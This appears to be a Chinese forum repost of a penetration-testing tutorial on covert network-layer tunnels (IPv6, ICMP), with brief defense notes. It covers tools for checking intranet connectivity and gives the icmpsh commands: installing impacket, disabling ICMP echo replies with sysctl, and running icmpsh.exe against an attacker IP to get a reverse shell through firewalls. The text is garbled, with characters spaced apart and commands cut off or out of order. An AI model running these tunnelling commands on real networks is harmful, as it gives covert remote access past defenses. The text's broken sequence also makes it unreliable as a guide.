搜索

[21153] 2020-07-21_【内网渗透】——隐藏通信隧道技术之网络层隧道技术

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-07-21_【内网渗透】——隐藏通信隧道技术之网络层隧道技术 【 内 网 渗 透 】 — —   隐 藏 通 信 隧 道 技 术 之 网 络 层 隧 道 技 术 L e m o n S e c   2 0 2 0 - 0 7 - 2 1 < E M B E D   a u t o s t a r t = “ t r u e ”   l o o p = “ t r u e ”   h i d d e n = “ t r u e ” > h i d d e n ： 是 否 完 全 隐 藏 控 制 面 板 ， 还 有 很 多 设 置 参 数 ， 比 如 也 可 以 设 置 显 示 面 板 ， 然 后 设 置 宽 高 W I D T H = “ 整 数 ”   和 H I G H = “ 整 数 ” 。 1 .   隐 藏 通 信 隧 道 基 础 1 . 1 隐 藏 通 信 隧 道 技 术 概 述 常 用 的 隧 道 ： 网 络 层 ： I P v 6 隧 道 ， I C M P 隧 道 ， G R E 隧 道 传 输 层 ： T C P 隧 道 ， U D P 隧 道 ， 常 规 端 口 转 发 应 用 程 ： S S H 隧 道 ， H T T P 隧 道 ， H T T P S 隧 道 ， D N S 隧 道 1 . 2   判 断 内 网 的 连 通 性 综 合 判 断 各 种 协 议 （ T C P , H T T P , D N S , I C M P ） 及 端 口 通 信 的 情 况 。 常 用 的 允 许 流 量 出 的 端 口 有 8 0 ， 8 0 8 0 ， 4 4 3 ， 5 3 ， 1 1 0 ， 1 2 3 等 。 内 网 连 通 性 判 断 方 法 ： 1 ， I C M P 协 议 、 执 行 命 令   " p i n g   < I P 地 址 域 名 > “ 2 , T C P 协 议 协 议 n e t c a t （ n c ） 誉 为 瑞 士 军 刀 ， 通 过 使 用 T C P 或 U D P 协 议 的 网 络 连 接 读 写 数 据 使 用 n c 工 具 ， 执 行 3 ， H T T P 协 议 c u r l 是 利 用 U R L 规 则 在 命 令 行 下 工 作 的 综 合 传 输 工 具 ， 支 持 文 件 下 载 和 上 传   ， 在 w i n d o w s 系 统 中 需 要 安 装 命 令 ： c u r l   < I P 地 址   端 口 号 > 链 接 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 u B F 8 e D X I 9 n B J X B 2 t b q i k p Q n c   < I P 地 址   端 口 号 >
提 取 码 ： z y x 1 4 ， ， D N S 协 议 协 议 d n s 连 通 性 ， 常 用 命 令     ： n s l o o k u p 和 d i g n s l o o k u p 是 w i n d o w s 自 带   d n s 探 测 命 令 ， 在 没 有 指 定 v p s - i p 时 ， n s l o o k u p 会 从 系 统 网 络 中 的 T C P / I P 属 性 中 读 取 D N S 服 务 器 的 地 址 输 入   n s l o o k u p   按 回 车 键   输 入   h e l p 命 令 。 d i g 是 l i n u x 自 带 的 命 令   输 入 d i g   - h 显 示 帮 助 信 息 d i g 命 令 使 用 详 解 2 .   网 络 层 隧 道 技 术 在 网 络 层 中   ， 两 个 常 用 的 的 隧 道 协 议 是 I P v 6   和 I M C P 2 . 1   I P v 6 隧 道 用 来 代 替 现 行 的 I P v 4 协 议 的 一 种 新 I P 协 议 防 御 I P v 6 隧 道 攻 击 的 方 法 了 解 I P v 6 的 具 体 漏 洞 ， 结 合 其 他 协 议 ， 通 过 防 火 墙 和 深 度 防 御 系 统 过 滤 I P v 6 通 信 ， 提 高 主 机 和 应 用 程 序 的 安 全 性
2 . 2   I C M P 隧 道 I C M P 隧 道 简 单 ， 实 用 ， 是 一 个 比 较 特 殊 的 协 议   常 见 的 I C M P 消 息 为 p i n g 命 令 的 回 复 ， 将 T C P / U D P 数 据 封 装 到 I C M P 的 p i n g 数 据 据 包 中 ， 穿 过 防 火 墙 ， 实 现 不 受 限 制 的 网 络 访 问 * *   i c m p s h * * 使 用 简 单 不 需 要 管 理 员 权 限 使 用 g i t   c l o n e 命 令 下 载 i c m p s h   下 载 地 址 安 装 p y t h o n 的 i m p a c k e t 类 库     以 便 对 T C P , U D P , I C M P , I G M P , A R P , I P v 4 , I P v 6 , S M B , M S R P C , N T L M , K e r b e r s , W M L , L D A P 等 协 议 进 行 访 问 ， 安 装 p y t h o n - i m p a c k e t 因 为 i c m p s h 工 具 会 替 代 系 统 本 身 的 p i n g 命 令 的 应 答 程 序 ， 需 要 关 闭 本 地 系 统 的 I C M P 应 答 （ 如 果 要 恢 复 系 统 应 答 ， 则 设 置 为 0 ） ， 否 则 s h e l l 的 运 行 会 不 稳 定 （ 表 现 为 一 直 刷 屏 ， 无 法 进 入 交 互 输 入 ） 。 输 入     并 运 行 ， 会 提 示 出 现 输 入 目 标 的 I P 地 址 （ 目 标 主 机 的 公 网 I P 地 址 ) 在 目 标 主 机 上 查 看 i p 地 址 ， 输 入 如 下 命 令 ： 在 目 标 主 机 运 行 以 上 命 令 ， 即 可 在 V P S 中 看 到   1 9 2 . 1 6 8 . 2 2 7 . 1 3 3 得 s h e l l 。 防 御 防 御 I C M P 隧 道 攻 击 的 方 法 隧 道 攻 击 的 方 法 网 络 管 理 员 会 阻 止 I C M P 通 信 进 入 站 点 ， 在 出 站 方 向     I C M P 通 信 是 被 允 许 的 ， 目 前 大 多 数 的 网 络 和 边 界 设 备 不 会 过 滤 I C M P 流 量 使 用 I C M P 隧 道 时 会 产 生 大 量 的 I C M P 数 据 包 ， 可 以 通 过 w i r e s h a r k 进 行 I C M P 数 据 包 分 析 ， 已 检 测 恶 意 I C M P 流 量 a p t - g e t   i n s t a l l   p y t h o n - i m p a c k e t s y s c t l   - w   n e t . i p v 4 . i c m p _ e c h o _ i g n o r e _ a l l = 1 . / r u n . s h i c m p s h . e x e   - t   1 9 2 . 1 6 8 . 2 2 7 . 1 3 7 （ 攻 击 机 i p ）   - d   3 0   - s   1 2 8 版 权 声 明 ： 本 文 为 C S D N 博 主 「 K r i s   A l e x 」 的 原 创 文 章 ， 遵 循 C C   4 . 0   B Y - S A 版 权 协 议 ， 转 载 请 附 上 原 文 出 处 链 接 及 本 声 明 。 原 文 链 接 ： h t t p s : / / b l o g . c s d n . n e t / K r i s _ _ z h a n g / a r t i c l e / d e t a i l s / 1 0 6 7 4 3 6 7 5
没 有 专 业 运 营 团 队 ， 纯 个 人 凭 着 空 闲 时 间 的 学 习 ， 通 过 网 络 搜 集 与 学 习 整 理 的 资 料 记 录 并 分 享 。   如 果 觉 得 文 章 对 你 有 帮 助 ， 请 支 持 下 点 击 右 下 角 “ 在 看 ” 原 文 链 接 ： h t t p s : / / b l o g . c s d n . n e t / K r i s _ _ z h a n g / a r t i c l e / d e t a i l s / 1 0 6 7 4 3 6 7 5
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理